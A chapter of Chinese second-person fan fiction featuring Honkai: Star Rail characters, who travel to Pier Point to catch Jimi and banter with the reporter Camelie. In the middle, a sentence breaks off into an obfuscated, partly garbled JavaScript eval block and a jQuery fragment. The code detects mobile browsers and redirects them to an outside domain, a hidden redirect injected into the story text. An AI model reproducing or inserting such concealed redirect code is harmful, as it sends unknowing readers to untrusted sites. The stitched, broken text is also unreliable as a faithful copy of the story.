林子很大 作品
49.庇尔波因特
正当你将要触碰到桑博的面具时,这个老东西却及时捂住了自己的脸,同时带着嘿嘿的笑容:“伙计,这个就有点儿违反规定了吧。”
你以为是先前你对他的上下其手引得他对现在较为平常的触碰都感到敏感,便有些悻悻地收回了手,但却理不直气也壮道:“比这更违反规定的事情我们都做过了,还有什么不能违反的。”
桑博瞠目结舌。
还没来得及走的砂金和真理医生以及螺丝咕姆的脸上都挂上了难以置信的表情。
这下不仅连真理医生从中间裂开,就连砂金的神情也有些分裂,他皮笑肉不笑道:“朋友,你们……已经坦诚相见到如今……这个地步了吗?”
坦诚相待什么鬼。
小孔雀,请停止你的危险发言。
你竖起一根手指在砂金的面前晃了晃:“听我说,你刚才什么都没有听到。”
“我听到了。”真理医生显然已经不满足于这样的打哑谜。
对于砂金你可以威逼利诱,但是对于教授你还是要保持起码的敬畏心。
你叹了口气。
桑博已经逃之夭夭。
你捡起地上的苹果,捏在掌心里,像是握住了一个鸡蛋一般。你知道真理医生和螺丝咕姆不可能无缘无故对这个苹果感兴趣,便问起了缘由。
听到你这般询问,真理医生裂开的部分终于开始慢慢缝合。他哗啦啦翻着书页,开始解释:“几日前,我与螺丝咕姆推算出将有一颗苹果落下,且正巧砸在一个人的头上。”
螺丝咕姆温声道:“逻辑:被苹果砸到的人是博识尊所赏识的人。结论:主神的魅力即使连星神都忍不住驻足停留。”
哦。
天呐。
看来螺丝咕姆果然跟着银枝学坏了,说的话都透露着一股子纯美的味道。
果然不能让两个优雅的家伙待在一起。
不过话说回来,那个机器头到底想干什么。难道这家伙也和阿哈一个鼻孔出气,非得搅得银河都乌烟瘴气不可吗。
虽然过往印象告诉你机器头绝对绝对不是这样的人,他估计只是想探索银河宇宙间的奥秘,所以就盯上了你。
但是!
当一个人有了和别人不同的解读后,即使他的心里不是这样想的,他最后的目标还是和阿哈殊途同归啊。
你直接仰天吐出一口凌霄血。
然后直接倒地不起,希望就此长眠地下,再不复起。
“如果你需要一场这样的美梦,我可以助你永不苏醒。”
星期日不知何时已经扑闪着翅膀飞到了你的脸上,踩着你脸颊上的肉肉。那个效果跟小孩子踩在软软的沙发上,然后一步一个脚印差不多。
奇了怪了。
你的脸又不是海绵做的。
你有些疑惑地起身,捏了捏自己的脸颊,居然发现可以粉嫩嫩地掐出水来。
此处你有话说。
这个掐出水来可不是形容词哈,是个比较写实的东西。
你的脸居然真的掐出水来了。
完蛋,这下真的成沙发里的海绵了。
你用力捏了一下自己的脸颊,直到把脸上的水都排了出来。
真理医生飞到你的跟前,“看来你的脑袋里进水了。”
呃。
虽然是事实没错,但怎么感觉他在骂你。
你怒而抓住真理医生,直接把他夹到了腋下。然后二话没说抱着砂金冲回了你的房间,把舒俱和欧泊也一起带上了。
手腕上带着舒俱来手串,嘴里叼着欧泊这个奶嘴,腋下夹着真理医生这本书,另一只手还抱着砂金。再配上你那副不可一世的表情,这幅画面怎么看怎么诡异。
此次庇尔波因特之行,你要做的就是把叽米那只雪鸮,又叫白猫头鹰给抓过来,然后狠狠丢进锅里煲汤。
叽米先生真的没惹任何人。
这个声音已经带了哭腔了。
你注意到一个黄色摄像头在盯着你做独家报道,小小的黑色屏幕上有一双不灵不灵的卡兰姿大眼睛,看上去憨憨又可爱。
“你是?”
“我是卡美丽。”
“你是人还是摄像头?”
“呃,这个嘛。”卡美丽显得有些为难,“是人还是摄像头其实也没什么分别。有的人是人,但却充当了摄像头的作用。有的摄像头是摄像头,但却充当了人的作用。”
看得出来,卡美丽在认真地和你解释,而且极其谨慎小心,生怕你会动怒似的。你很奇怪,一直以来你的脾气都好得很,自认有记忆以来没做过什么特别出格的事情,为什么这位美丽的卡美丽女士会如何忌惮于你呢。
对于你的疑问,卡美丽再次表示很为难。
你想了想,换了一个温和的口吻:“没事,你说,我保证不打死你。”
此话一出,卡美丽差点儿没给你跪下。
不敢当也不敢动。你若是胆敢上前走一步,试图搀扶于她,卡美丽这一下高低得把你的脑袋磕出个花儿来。
你对这位卡美丽女士也有所耳闻,想当初也是代替过叽米主持过一次娱乐公司的活动的。那磕到桌子上的一下暴击后冒出来的一串数字,差点儿没把你的下巴惊掉。好在罗刹及时为你托住了下巴,你才没有落得脱臼的下场。
不能受也扶不了。
为今之计只有躲到卡美丽的后面。
没想到这一番举动更是把卡美丽吓了一跳,她慌忙转身,“你要拔我后背上的插销吗?”
呃。
你很疑惑,既然这个卡美丽这么畏惧你,又为何要做你的独家专访呢。
“这个……”卡美丽又又又显得很为难,“因为我是位新人,想要做出成绩就必须得敢于冒险。”
呃。
原来采访你已经被称之为冒险了吗。
何其有幸。
何其不幸。
一时之间,你不知道是该哭还是该笑。
但鉴于卡美丽实话实说的好习惯,你决定把叽米煲成汤的理由又加了一个——帮助卡美丽上位。
只要娱乐公司没了叽米,卡美丽就能得到重用了。但鉴于卡美丽几次三番说叽米先生没惹任何人,你觉得还是不要告诉她为好,省得她有负罪感。
“没看出来,你人还怪好的哩。”
说话的是舒俱,这个家伙简直就是砂金
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15524900|165671||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
和真理医生的组合,一样的花枝招展,一样的舔下嘴唇就能把自己毒死的那种。
之前在贝洛伯格没怎么了解过他,如今在垃圾星住了这些许日子,你也总该对这个家伙有点儿了解了。
你直接把舒俱从手腕上撸下来,然后戴在了脚脖子上。
!
“你……做什么……”
舒俱的话忽然间变得有些磕磕绊绊,像是被人撩了脸红似的。
你疑惑了。
不就换个位置吗,省得挂在手上看着心烦,丢到脚脖上也不用整日在眼前晃了。不过脚脖子确实比手腕敏感一些,舒俱稍微动一动你就感觉浑身不太得劲儿。无奈,你只能撕了点儿真理医生的书页,团巴团巴塞到了舒俱和你脚腕的中间。
真理医生心疼坏了,直接在你脑袋上敲来了一下,冷哼道:“朽木不可雕也。”
幸好不是老夫子那种的恨铁不成钢。
你默默地在心里想。
被砸了你还能这么想。
果然脑回路清奇,且无与伦比。
谢谢夸奖。
这不是在夸你。
管他呢。
虽然挨了真理医生一下,但你还是把自己哄好了,抱着砂金这只孔雀一顿猛亲,亲得砂金的毛都掉了几根。
得亏砂金现在不是个人形,否则整张脸都被你拔了火罐。
“朋友,想来点儿更有趣的东西吗?”
砂金在诱惑你。
他在玩火。
正当你要揪他尾巴时,庇尔波因特到了。
你只能作罢。
这里还是一如既往地灯红酒绿,车水马龙。此时此刻,你站在公司大楼的下面,有些无所适从。如果这个大楼能变成人,你高低得问它一句:“还活着呢。”
它估计也会回你一句,“活着呢,活得好好的。咋着,你再给我炸一下?”
实话实说,的确有这个想法。就是不知道在你身边的几个或多或少都与公司有点儿关系的家伙同不同意。
笑死。
你是看别人脸色生活的人吗。
说得也是。
你直接让几个小家伙散开去找叽米,不管是用骗的拐的还是掳的掠的,亦或是是绑的抢的,天黑之前你要叽米出现在你的面前。
砂金自然是乐意之至,欧泊也是没有话说,就是真理医生和舒俱有些难办。
你对真理医生承诺——下次见到机器头的时候一定把祂留住,让教授看一眼。
真理医生冷嗤一声:“谁稀罕。”话虽这么说,但他还是帮着去诓骗叽米了。
至于舒俱嘛,你就没有像对真理医生那么好的耐心了,直接把他往手指头上一勾,一拉,一拽。
串起舒俱的绳子便如你期望那般断了。
石头洒了一地。
你看着他被千万人踩踏而过,终究还是不忍心将他再次串了起来。
“你是在羞辱我。”舒俱的语气十分不好。
你的吻落在舒俱来上。
舒俱紧张得身体都膨大了一圈儿,“做……做什么?”
“不是你说在羞辱你吗?”你无辜道:“自然是将这个罪名坐实了。”